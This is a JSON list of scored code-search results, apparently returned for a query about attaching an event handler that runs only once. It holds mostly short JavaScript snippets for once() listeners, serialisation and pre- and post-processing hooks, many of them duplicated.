[ { "docid": "a0851a8b991a5e58d33c6257a1f1de8e", "score": "0.6921698", "text": "OnBeforeSerialize() {}", "title": "" }, { "docid": "9db8dfa72c88b1f7ab1d62c45921f970", "score": "0.6161136", "text": "OnAfterDeserialize() {}", "title": "" }, { "docid": "380bed57e71e7d82cbd65ad54f617b74", "score": "0.6148467", "text": "function postProcess() {\n\t\n}", "title": "" }, { "docid": "dfafd6687e9c914fb5a9ae4ee795acd9", "score": "0.5910441", "text": "_processParsedData(data) {\n super._processParsedData(data);\n }", "title": "" }, { "docid": "454171196fdd2fb8681afd06d643b0fb", "score": "0.57900333", "text": "save() {\n return this.postprocessing;\n }", "title": "" }, { "docid": "1fb7d890b62682abc38c810592eeca81", "score": "0.5575569", "text": "function preGetDataHandler(CustomForm,data){\n\t// 添加保存前获取数据处理\n\treturn data;\n}", "title": "" }, { "docid": "1fb7d890b62682abc38c810592eeca81", "score": "0.5575569", "text": "function preGetDataHandler(CustomForm,data){\n\t// 添加保存前获取数据处理\n\treturn data;\n}", "title": "" }, { "docid": "be3d3c9788d5710c124b9067ff4f65f7", "score": "0.5550456", "text": "function postUpdate() {\n\t\t\t\tself.requiresNewSerialize = true;\n\t\t\t\tself.trigger('update', obj);\n\t\t\t\tself.count++;\n\t\t\t\tobj._count = self.count;\n\t\t\t}", "title": "" }, { "docid": "be3d3c9788d5710c124b9067ff4f65f7", "score": "0.5550456", "text": "function postUpdate() {\n\t\t\t\tself.requiresNewSerialize = true;\n\t\t\t\tself.trigger('update', obj);\n\t\t\t\tself.count++;\n\t\t\t\tobj._count = self.count;\n\t\t\t}", "title": "" }, { "docid": "c52b4fd021b05794e4a80c476cec6ba2", "score": "0.55265987", "text": "function tenderSerializer() {\n}", "title": "" }, { "docid": "510bb8ec7c560f659603d60cc078c7a0", "score": "0.54673254", "text": "function processData(data) {\n //process data\n}", "title": "" }, { "docid": "3a22e0eed11e160963a92411865e75a6", "score": "0.5435281", "text": "makePostData (callback) {\n\t\tsuper.makePostData(() => {\n\t\t\tdelete this.data[this.parameter];\t// remove the parameter\n\t\t\tcallback();\n\t\t});\n\t}", "title": "" }, { "docid": "db6a67fa2bcdac287a26d511133e6bfb", "score": "0.5404949", "text": "function postAdd() {\n\t\t\t\tself.requiresNewSerialize = true;\n\t\t\t\tself.trigger('add', obj);\n\t\t\t\tself.count++;\n\t\t\t\tobj._count = self.count;\n\t\t\t}", "title": "" }, { "docid": "db6a67fa2bcdac287a26d511133e6bfb", "score": "0.5404949", "text": "function postAdd() {\n\t\t\t\tself.requiresNewSerialize = true;\n\t\t\t\tself.trigger('add', obj);\n\t\t\t\tself.count++;\n\t\t\t\tobj._count = self.count;\n\t\t\t}", "title": "" }, { "docid": "46b1b8e1b781305c1cf64b615ff3f3cb", "score": "0.5401984", "text": "_postWriting() {\n return {};\n }", "title": "" }, { "docid": "2d1360c869ac79b1c49fa9e983467067", "score": "0.53280705", "text": "before (callback) {\n\t\t// delete the streamId attribute when we try to create the post\n\t\tsuper.before(error => {\n\t\t\tif (error) { return callback(error); }\n\t\t\tdelete this.data.streamId;\n\t\t\tcallback();\n\t\t});\n\t}", "title": "" }, { "docid": "08b4553d9e8c2c8d55100864099b0733", "score": "0.5325811", "text": "function TransformProcessor () {}", "title": "" }, { "docid": "a4d38890c5cc1ca1b0f4df60f7d1bb87", "score": "0.52622455", "text": "postParse() {\n return;\n }", "title": "" }, { "docid": "b20cdfff7c526bbc3f492ae8c9c77e07", "score": "0.5252777", "text": "function _processData() {\n if (_.isEmpty($scope.mdtRows)) {\n return;\n }\n\n //local search/filter\n if (angular.isUndefined($scope.mdtPaginateHandler)) {\n $scope.$watch('mdtRows', function (mdtRows) {\n vm.mdt.getStorage().storage = [];\n\n _addRawDataToStorage(mdtRows['data']);\n }, true);\n } else {\n //if it's used for 'Ajax pagination'\n }\n }", "title": "" }, { "docid": "e65f4f41723b115d727f56ddb1d09488", "score": "0.52375215", "text": "preExecute() {\n\t\t// Overwrite this...\n\t}", "title": "" }, { "docid": "6d4923c2815a8db4c1b6ca0ee1f45662", "score": "0.52083045", "text": "async preSave () {\n\t\tthis.attributes.provider = this.request.request.params.provider.toLowerCase();\n\t\tthis.attributes.creatorId = this.user.id;\n\t\tthis.attributes.createdAt = Date.now();\n\t\tthis.attributes.origin = this.request.request.headers['x-cs-plugin-ide'] || '';\n\t\tif (this.request.isForTesting()) { // special for-testing header for easy wiping of test data\n\t\t\tthis.attributes._forTesting = true;\n\t\t}\n\t\tawait this.bumpPostsForUser();\n\t\tawait super.preSave();\t\t\t// base-class preSave\n\t}", "title": "" }, { "docid": "237ed437c8d692bb8fec74006b8b7afd", "score": "0.52056634", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "faef037ead1a1f386c3a2c57d6a34218", "score": "0.51910377", "text": "function serializeData(options) {\n\t if (options.processData && options.data && $.type(options.data) != \"string\")\n\t options.data = $.param(options.data, options.traditional)\n\t if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n\t options.url = appendQuery(options.url, options.data), options.data = undefined\n\t }", "title": "" }, { "docid": "faef037ead1a1f386c3a2c57d6a34218", "score": "0.51910377", "text": "function serializeData(options) {\n\t if (options.processData && options.data && $.type(options.data) != \"string\")\n\t options.data = $.param(options.data, options.traditional)\n\t if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n\t options.url = appendQuery(options.url, options.data), options.data = undefined\n\t }", "title": "" }, { "docid": "faef037ead1a1f386c3a2c57d6a34218", "score": "0.51910377", "text": "function serializeData(options) {\n\t if (options.processData && options.data && $.type(options.data) != \"string\")\n\t options.data = $.param(options.data, options.traditional)\n\t if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n\t options.url = appendQuery(options.url, options.data), options.data = undefined\n\t }", "title": "" }, { "docid": "76c3abfd09636d16f9273967d5d39ebe", "score": "0.51815164", "text": "function serializeData(options) {\n if (options.processData && options.data && typeof options.data != \"string\")\n options.data = param(options.data)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET' || 'jsonp' == options.dataType))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "75819fff259f5a998ac622b1a819bfea", "score": "0.5173692", "text": "function serializeData(options) {\n\t if (options.processData && options.data && $.type(options.data) != 'string') options.data = $.param(options.data, options.traditional);\n\t if (options.data && (!options.type || options.type.toUpperCase() == 'GET')) options.url = appendQuery(options.url, options.data), options.data = undefined;\n\t }", "title": "" }, { "docid": "c5e24e26a657cd177c15ee9022b1f139", "score": "0.5159229", "text": "async preprocessHandler (task, preProcessItem) {\n const result = await super.preprocessHandler(task, preProcessItem)\n task.preprocesssBehavior()\n task.preprocesssExecuted++\n return result\n }", "title": "" }, { "docid": "0cb79e64afb1f8309efa91d8986308aa", "score": "0.51568735", "text": "serialize(deserialized) {\n return deserialized;\n }", "title": "" }, { "docid": "ee3dbe14c18887bff62912c2f860da92", "score": "0.5152339", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "ee3dbe14c18887bff62912c2f860da92", "score": "0.5152339", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "7ada63d53f86edcfdd9cd017b5b84cd8", "score": "0.51248044", "text": "makePostData (callback) {\n\t\t// substitute a non-boolean reaction value\n\t\tsuper.makePostData(error => {\n\t\t\tif (error) { return callback(error); }\n\t\t\tthis.data[this.reaction] = 1;\n\t\t\tcallback();\n\t\t});\n\t}", "title": "" }, { "docid": "cc902abd7327638d35bd39290ec940e8", "score": "0.5114644", "text": "onSerialize(key, callback) {\n this.onSerializeCallbacks[key] = callback;\n }", "title": "" }, { "docid": "1af8f26d0989b9b97e4ed94e8daf5ca2", "score": "0.51097435", "text": "beforeHandling() {\n\t\t//\n\t}", "title": "" }, { "docid": "26ca2c4610f1c995272d4bec63656b89", "score": "0.51089984", "text": "function serializeData(options) {\n\t if (options.processData && options.data && $.type(options.data) != \"string\")\n\t options.data = $.param(options.data, options.traditional)\n\t if (options.data && (!options.type || options.type.toUpperCase() == 'GET' || 'jsonp' == options.dataType))\n\t options.url = appendQuery(options.url, options.data), options.data = undefined\n\t }", "title": "" }, { "docid": "9793eff41db46de138770bbb8c360fdc", "score": "0.510796", "text": "onPostRender() {\n\n // clean up line batches\n this.allBatches.clear();\n\n // all batches need updating next frame\n this.updatedLayers.clear();\n }", "title": "" }, { "docid": "63f21aaa91d73cf332052c451e270d13", "score": "0.5079027", "text": "renderAsJSON(name, data, postProcess) {\n var json = this.render(name, data);\n if (!json)\n return null;\n let obj = JSON.parse(json);\n if (postProcess || postProcess === undefined) {\n obj = this.postProcess(obj);\n }\n return obj;\n }", "title": "" }, { "docid": "768b8848d5e4ba1ba3f1b664ef009121", "score": "0.5060392", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "768b8848d5e4ba1ba3f1b664ef009121", "score": "0.5060392", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "768b8848d5e4ba1ba3f1b664ef009121", "score": "0.5060392", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "768b8848d5e4ba1ba3f1b664ef009121", "score": "0.5060392", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "768b8848d5e4ba1ba3f1b664ef009121", "score": "0.5060392", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "c629117a6f9c325ecc1784c422f77468", "score": "0.5038394", "text": "processData(){\n // filter out cars with missing values\n this._filterData();\n\n // create array of arrays for druidjs\n this._transformToArray();\n \n // perform kMeans clustering\n this._performClustering();\n \n // perform PCA\n this._performPCA();\n \n }", "title": "" }, { "docid": "1b456a1dc4582eba67e18a7d77fa579e", "score": "0.50289357", "text": "function preEncodeFn(data) {\n if (data === null) return undefined;\n var t = typeof data;\n if ((t != 'object') && (t != 'function')) return undefined;\n if (typeof data.ext_encoding != 'function') return undefined;\n var info = data.ext_encoding();\n return {__ext__name_: info.name, __ext__args_: info.args};\n }", "title": "" }, { "docid": "1688ef348a1029dfda6cfe01165f06a1", "score": "0.5023306", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\") options.data = $.param(options.data, options.traditional);\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET' || 'jsonp' == options.dataType)) options.url = appendQuery(options.url, options.data), options.data = undefined;\n }", "title": "" }, { "docid": "ec4cbf8d70e68de04ec3f21dda1aba32", "score": "0.5022111", "text": "resetData() {\n if (this.param.data) {\n this.metadata.currentPage = 1;\n this.metadata.processingData = deepClone(this.param.data);\n }\n }", "title": "" }, { "docid": "b5916795b62801c73e75c2be27701ed5", "score": "0.50220525", "text": "prepareData() {\n super.prepareData();\n\n const actorData = this.data;\n const data = actorData.data;\n const flags = actorData.flags;\n\n if (actorData.type === 'character' || actorData.type === 'synthetic') this._prepareCharacterData(actorData);\n else if (actorData.type === 'vehicle') this._prepareVehicleData(data);\n else if (actorData.type === 'creature') this._prepareCreatureData(data);\n else if (actorData.type === 'territory') this._prepareTeritoryData(data);\n }", "title": "" }, { "docid": "fd9ac3f5c5f8d6d107a985cacfdc97af", "score": "0.5015611", "text": "makePostData (callback) {\n\t\tsuper.makePostData(() => {\n\t\t\tdelete this.data.secret;\t// remove the secret\n\t\t\tcallback();\n\t\t});\n\t}", "title": "" }, { "docid": "a30691ec629279e7beb74da60e426bdf", "score": "0.50064784", "text": "postProcess(fn) {\n this.taggers.push(fn)\n return this\n }", "title": "" }, { "docid": "ed1e07499f190b759af9e54e79d0d4d5", "score": "0.50045884", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\") options.data = $.param(options.data, options.traditional);\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET' || 'jsonp' == options.dataType)) options.url = appendQuery(options.url, options.data), options.data = undefined;\n }", "title": "" }, { "docid": "ed1e07499f190b759af9e54e79d0d4d5", "score": "0.50045884", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\") options.data = $.param(options.data, options.traditional);\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET' || 'jsonp' == options.dataType)) options.url = appendQuery(options.url, options.data), options.data = undefined;\n }", "title": "" }, { "docid": "8babf9a7e0818f3369b26e32719c9660", "score": "0.49994498", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET' || 'jsonp' == options.dataType))\n options.url = appendQuery(options.url, options.data), options.data = undefined\n }", "title": "" }, { "docid": "ca0d35a525ca5b32f91ae3e5653fc4fc", "score": "0.49991453", "text": "function serializeData(options) {\n options.data = options.data || options.query;\n if (options.processData && options.data && type(options.data) != \"string\") {\n options.data = param(options.data, options.traditional);\n }\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET')) {\n options.url = appendQuery(options.url, options.data);\n options.data = undefined;\n }\n }", "title": "" }, { "docid": "b40da32b8010583891fd467f96ac7239", "score": "0.49969962", "text": "onPrepare() {\n // craete the default data to be recorded as output of performances\n this.performanceResultsData = new PerformanceResultsData();\n }", "title": "" }, { "docid": "469ec5ab319441fc384eaae148b634f6", "score": "0.49872115", "text": "serialize() {\n return undefined;\n }", "title": "" }, { "docid": "0c6c9e46ba4169ffa99d410dd4d2f24b", "score": "0.49840873", "text": "onSerialize(key, callback) {\n this.onSerializeCallbacks[key] = callback;\n }", "title": "" }, { "docid": "b7b5fb39f830c38f6d9dc18ba9295fce", "score": "0.49806115", "text": "onSerialize(key, callback) {\n this.onSerializeCallbacks[key] = callback;\n }", "title": "" }, { "docid": "b7b5fb39f830c38f6d9dc18ba9295fce", "score": "0.49806115", "text": "onSerialize(key, callback) {\n this.onSerializeCallbacks[key] = callback;\n }", "title": "" }, { "docid": "b7b5fb39f830c38f6d9dc18ba9295fce", "score": "0.49806115", "text": "onSerialize(key, callback) {\n this.onSerializeCallbacks[key] = callback;\n }", "title": "" }, { "docid": "375df811a9fc839686f6fd6e2e1dfcf9", "score": "0.49767017", "text": "function serializeData(options) {\n if (options.processData && options.data && $.type(options.data) != \"string\")\n options.data = $.param(options.data, options.traditional)\n if (options.data && (!options.type || options.type.toUpperCase() == 'GET'))\n options.url = appendQuery(options.url, options.data)\n }", "title": "" }, { "docid": "9b1581164b59aa988b40f0afb7046abb", "score": "0.49737954", "text": "afterHandling() {\n\t\t//\n\t}", "title": "" }, { "docid": "368167e370df6b0836bc47c4a1cf7a9c", "score": "0.49726304", "text": "beforeApply() {}", "title": "" }, { "docid": "ea381b8efe0c42647c979b3436baab72", "score": "0.49579298", "text": "preEmit() {}", "title": "" }, { "docid": "b3b2709f850307fa714817288ab09077", "score": "0.4951741", "text": "function serializeData(options) {\n\t\t\tif (options.processData && options.data && typeof (options.data) !== \"string\")\n\t\t\t\toptions.data = param(options.data, options.traditional);\n\t\t\tif (options.data && (!options.type || options.type.toUpperCase() === 'GET'))\n\t\t\t\toptions.url = appendQuery(options.url, options.data);\n\t\t}", "title": "" }, { "docid": "a197bb9a564cded0e6656e189204d649", "score": "0.4950317", "text": "postRendering() {}", "title": "" }, { "docid": "41daf8b5fa30715614880e6bfbbadb73", "score": "0.4949208", "text": "prepareData() {\r\n super.prepareData();\r\n CONFIG.logger.debug(`Preparing Actor Data ${this.data.type}`);\r\n const actorData = this.data;\r\n const data = actorData.data;\r\n const flags = actorData.flags;\r\n\r\n // Make separate methods for each Actor type (character, minion, etc.) to keep\r\n // things organized.\r\n if (actorData.type === \"minion\") this._prepareMinionData(actorData);\r\n if (actorData.type === \"character\") this._prepareCharacterData(actorData);\r\n }", "title": "" }, { "docid": "1c375088dfe2e8e8db81e30e5112dcec", "score": "0.49239758", "text": "function preProcessData(data) {\n // Add ids to be used as keys on lists\n data.forEach((item) => item.id = uuidv4());\n return data;\n }", "title": "" }, { "docid": "a7915e24d529c9aa1775ec544317f1dc", "score": "0.49058074", "text": "OnCreateParamsProcessed() { }", "title": "" }, { "docid": "356083c30b995856fddb27ed3fa4d75b", "score": "0.4899808", "text": "function is_UseCase_Ready_For_PostProcessing()\n{\n // Is the request pipeline running?\n if(is_RequestPipelineRunning() == true) { return false; }\n // Is all the requested data already loaded in the Use Case object?\n return is_UseCaseRequestDataIn(); //if(is_UseCaseRequestDataIn() == false\n}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" }, { "docid": "6dab958f55359b8b37c49dde68fd5c58", "score": "0.48864287", "text": "serialize() {}", "title": "" } ]
6c591f6e8a5e879090a84bab30370952
Define event handler for a given event and to be called only once.
[ { "docid": "709de3df8b2f741702e8adaf71fbe96a", "score": "0.6254418", "text": "once(event, handler) {\n this.transport.once(event).then((data) => {\n if (typeof handler === 'string') {\n this.getResolver(handler).getEventHandler(event, handler)(data);\n this.getResolver(handler).removeEventHandler(event, handler);\n }\n else {\n handler(data);\n }\n });\n return this;\n }", "title": "" } ]
[ { "docid": "971136353f6b5ca624b238ab5996b367", "score": "0.74367815", "text": "once(event, handler, opts) {\n this._addEventHandler(event, handler, opts, true);\n }", "title": "" }, { "docid": "d5cf26337923c86e5d8e495827a7434c", "score": "0.71917856", "text": "function define(event, handler) {\n handlers[event] = handler;\n}", "title": "" }, { "docid": "0226d4dce05230e00bec0e40afcf89eb", "score": "0.6761079", "text": "handleEvent(event) {}", "title": "" }, { "docid": "d36f8f858afcded9d09469537f9c5ea9", "score": "0.6574957", "text": "function once(event) {\n return function (listener, thisArgs, disposables) {\n if (thisArgs === void 0) { thisArgs = null; }\n // we need this, in case the event fires during the listener call\n var didFire = false;\n var result;\n result = event(function (e) {\n if (didFire) {\n return;\n }\n else if (result) {\n result.dispose();\n }\n else {\n didFire = true;\n }\n return listener.call(thisArgs, e);\n }, null, disposables);\n if (didFire) {\n result.dispose();\n }\n return result;\n };\n }", "title": "" }, { "docid": "71c7ea20ae9b82a02171145bc7a46c37", "score": "0.6508295", "text": "function once(event) {\n return (listener, thisArgs = null, disposables) => {\n // we need this, in case the event fires during the listener call\n let didFire = false;\n let result;\n result = event(e => {\n if (didFire) {\n return;\n }\n else if (result) {\n result.dispose();\n }\n else {\n didFire = true;\n }\n return listener.call(thisArgs, e);\n }, null, disposables);\n if (didFire) {\n result.dispose();\n }\n return result;\n };\n }", "title": "" }, { "docid": "71c7ea20ae9b82a02171145bc7a46c37", "score": "0.6508295", "text": "function once(event) {\n return (listener, thisArgs = null, disposables) => {\n // we need this, in case the event fires during the listener call\n let didFire = false;\n let result;\n result = event(e => {\n if (didFire) {\n return;\n }\n else if (result) {\n result.dispose();\n }\n else {\n didFire = true;\n }\n return listener.call(thisArgs, e);\n }, null, disposables);\n if (didFire) {\n result.dispose();\n }\n return result;\n };\n }", "title": "" }, { "docid": "c2be8926ffba31612c8849af60908b35", "score": "0.64638525", "text": "on(event, handler) {\n const handlers = this.handlers.get(event);\n if (handlers) {\n handlers.push(handler);\n }\n }", "title": "" }, { "docid": "23490c5c6da57591167c8a1ce38a4a0a", "score": "0.64217705", "text": "function createOnceHandler$1(event, handler, capture) {\n var _target = target$1;\n // save current target element in closure\n return function onceHandler() {\n null !== handler.apply(null, arguments) && remove$2(event, onceHandler, capture, _target);\n };\n }", "title": "" }, { "docid": "a206a3f6be357fe53e01beb01f88cbf9", "score": "0.6412778", "text": "addOnceEventListener (event, context, listener) {\n var self = this;\n\n var ret = self._validateArgs(event, listener);\n if (ret) {\n throw ret;\n }\n\n self.once(event, listener.bind(context));\n }", "title": "" }, { "docid": "d316eca269ad7f50614234d5fcd93a83", "score": "0.64019716", "text": "function handler (event) {\n fn.call(el, event || window.event)\n }", "title": "" }, { "docid": "cf7ebebfc49d9edd9e91c680b57f2b0f", "score": "0.64011115", "text": "EventHandler(e) {}", "title": "" }, { "docid": "2259a01f0aa8cd6dc711850b1bf48082", "score": "0.6376591", "text": "function handler (event) {\n\t fn.call(el, event || window.event)\n\t }", "title": "" }, { "docid": "7bef8b39771b466de168a2de36a3fd1a", "score": "0.6339897", "text": "addEventListner (eventName, handler) {\n typeof handler === 'function' && (this.events && (this.events[eventName] = handler));\n }", "title": "" }, { "docid": "27e7cf539d56292689cf68f8d02bd713", "score": "0.6241101", "text": "once (event, callback) {\n callback.once = true;\n this.on(event, callback);\n }", "title": "" }, { "docid": "5172baebb82712759023bbbf55c6931c", "score": "0.62068", "text": "function onceHandler() {\n handler.apply(context || element, arguments);\n off(element, types, onceHandler, context);\n }", "title": "" }, { "docid": "63e7059d08fa526cda031b10c74b30cb", "score": "0.6162564", "text": "on(name, handler) {\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n this[EVENT_NAME_TO_HANDLER_NAME[name]] = handler;\n }", "title": "" }, { "docid": "878b04e53c82e2838b8dfd4a5bf66fb4", "score": "0.61622196", "text": "once(event, handler) {\n this.singles[event].unshift(handler);\n return this;\n }", "title": "" }, { "docid": "22633b1dbc3783535676bedde820f96b", "score": "0.6156591", "text": "once( eventName, listener ) {\n this._addEventListener( eventName, listener, 'once');\n }", "title": "" }, { "docid": "19f3949e196388e575c0b9d029f19d3c", "score": "0.61303663", "text": "function EventHandler(context, event) {\n}", "title": "" }, { "docid": "661e2968523b7e83ffd4487a26434a63", "score": "0.6096733", "text": "function EventHandlers(){}", "title": "" }, { "docid": "4f41b7c1e7bfa9cd8217c5247519c395", "score": "0.609607", "text": "bindCommonEvent() {\n\n }", "title": "" }, { "docid": "1ba5e62a9b4a68b386f8053a5fefcf96", "score": "0.608838", "text": "function genericHandler( Event )\n\t{\n\t\tvar old = $( Event.target ).data( 'genericHandlerRuns' ) || 0;\n\t\t$( Event.target ).data( 'genericHandlerRuns', old + 1 );\n\t}", "title": "" }, { "docid": "674d4e294cef5fd8c49c96b81dbcf4d9", "score": "0.6085389", "text": "handleEvent(event) {\n\t\tif(this.enabled)\n\t\t\tfor(const ob of this.observers) {\n\t\t\t\tif(ob[event.type] != null)\n\t\t\t\t\tob[event.type](event);\n\t\t\t}\n\t}", "title": "" }, { "docid": "8ea4bfa95cb9494c628dd5e3068663a4", "score": "0.60765064", "text": "function handleEvent(event, vnode) {\n const {\n type\n } = event;\n const {\n data: {\n on\n }\n } = vnode;\n const handler = on && on[type]; // call event handler if exists\n\n if (handler) {\n handler.call(undefined, event);\n }\n}", "title": "" }, { "docid": "070f3e5e6b744fa82419ca1c8c66973a", "score": "0.6050522", "text": "on(event, handler, opts) {\n this._addEventHandler(event, handler, opts, false);\n }", "title": "" }, { "docid": "f1ebb80524f80bfa8f0a189c877093f3", "score": "0.6022507", "text": "function handler() {}", "title": "" }, { "docid": "351b952e15d4321308c8cc08ff39c39d", "score": "0.5998949", "text": "handleEvent() {}", "title": "" }, { "docid": "351b952e15d4321308c8cc08ff39c39d", "score": "0.5998949", "text": "handleEvent() {}", "title": "" }, { "docid": "351b952e15d4321308c8cc08ff39c39d", "score": "0.5998949", "text": "handleEvent() {}", "title": "" }, { "docid": "351b952e15d4321308c8cc08ff39c39d", "score": "0.5998949", "text": "handleEvent() {}", "title": "" }, { "docid": "d49602f774e58e828b01fd92bc4dbb6c", "score": "0.5964232", "text": "watch(event, handler, opts) {\n this._addEventHandler(event, handler, opts, false, true);\n }", "title": "" }, { "docid": "af24d15278d64c77e1d389419cdfc459", "score": "0.59418875", "text": "on (evts, f) {\n const events = evts.split(/\\s+/g);\n events.forEach(evt => {\n if (rippleEvents.includes(evt)) {\n // Here we'll want to cache a canonical version for later removal\n const fn = registerHandler(f);\n super.on(evt, fn);\n } else {\n super.on(evt, f);\n }\n });\n }", "title": "" }, { "docid": "e724f55124e2644e05dd749f978dfca8", "score": "0.5926767", "text": "_addEventHandler(event, handler, opts, once, passive) {\n if (typeof event !== 'string') {\n opts = handler;\n // If `event` is a map, call `on()` for each entry.\n for (const eventName in event) {\n this._addEventHandler(eventName, event[eventName], opts, once, passive);\n }\n return;\n }\n\n const {manager, events} = this;\n // Alias to a recognized gesture as necessary.\n const eventAlias = GESTURE_EVENT_ALIASES[event] || event;\n\n let eventRegistrar = events.get(eventAlias);\n if (!eventRegistrar) {\n eventRegistrar = new EventRegistrar(this);\n events.set(eventAlias, eventRegistrar);\n // Enable recognizer for this event.\n eventRegistrar.recognizerName = EVENT_RECOGNIZER_MAP[eventAlias] || eventAlias;\n // Listen to the event\n if (manager) {\n manager.on(eventAlias, eventRegistrar.handleEvent);\n }\n }\n eventRegistrar.add(event, handler, opts, once, passive);\n if (!eventRegistrar.isEmpty()) {\n this._toggleRecognizer(eventRegistrar.recognizerName, true);\n }\n }", "title": "" }, { "docid": "bd34d0fc4c8ccea938bf6f5f393f9609", "score": "0.5909031", "text": "function addEventListener$1(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var 